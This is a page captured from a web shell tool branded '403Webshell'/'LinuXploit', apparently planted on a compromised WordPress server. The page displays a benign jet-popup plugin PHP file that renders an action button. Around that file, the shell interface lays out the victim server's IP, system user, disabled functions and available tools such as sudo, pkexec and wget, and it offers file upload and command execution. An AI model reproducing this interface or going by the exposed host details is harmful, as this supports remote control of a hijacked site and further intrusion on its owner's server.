403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/cwd/wp-content/plugins/jet-popup/includes/render/render-modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/jet-popup/includes/render/render-modules/action-button-render.php
<?php
namespace Jet_Popup\Render;

// If this file is called directly, abort.
if ( ! defined( 'WPINC' ) ) {
	die;
}

class Action_Button_Render extends Base_Render {

	/**
	 * [$name description]
	 * @var string
	 */
	protected $name = 'action-button-render';

	/**
	 * [init description]
	 * @return [type] [description]
	 */
	public function init() {}

	/**
	 * [get_name description]
	 * @return [type] [description]
	 */
	public function get_name() {
		return $this->name;
	}

	/**
	 * [render description]
	 * @return [type] [description]
	 */
	public function render() {
		$action_type = $this->get( 'action_type', 'link' );
		$button_alignment = $this->get( 'button_alignment', 'center' );
		$button_text = $this->get( 'button_text', __( 'Click Here', 'jet-popup' ) );
		$button_link = $this->get( 'button_link', '#' );
		$is_blank = $this->get( 'button_link_blank', false );
		$is_nofollow = $this->get( 'button_link_nofollow', false );
		$button_icon_html = $this->get( 'icon_html', false );
		$icon_html = '';
		$label_html = '';

		if ( ! empty( $button_icon_html ) ) {
			$icon_html = sprintf( '<div class="jet-popup-action-button__icon">%1$s</div>', $button_icon_html );
		}

		if ( ! empty( $button_text ) ) {
			$label_html = sprintf( '<div class="jet-popup-action-button__text">%1$s</div>', $button_text );
		}

		$classes = [
			'jet-popup-action-button',
			'jet-popup-action-button--' . $button_alignment,
		];

		if ( 'link' === $action_type ) {
			$button_link = ! empty( $button_link ) ? $button_link : '#';
			$blank_attr = filter_var( $is_blank, FILTER_VALIDATE_BOOLEAN ) ? ' target="_blank"' : '';
			$nofollow_attr = filter_var( $is_nofollow, FILTER_VALIDATE_BOOLEAN ) ? ' rel="nofollow"' : '';
			$instance_html = sprintf( '<a class="jet-popup-action-button__instance" href="%1$s" role="button"%2$s%3$s>%4$s%5$s</a>', $button_link, $blank_attr, $nofollow_attr, $icon_html, $label_html );
		} else {
			$instance_html = sprintf( '<div class="jet-popup-action-button__instance" role="button">%1$s%2$s</div>', $icon_html, $label_html );
		}

		echo sprintf( '<div class="%1$s" data-is-block="jet-popup/action-button" data-action-type="%2$s">%3$s</div>', implode(' ', $classes ), $action_type, $instance_html );

	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit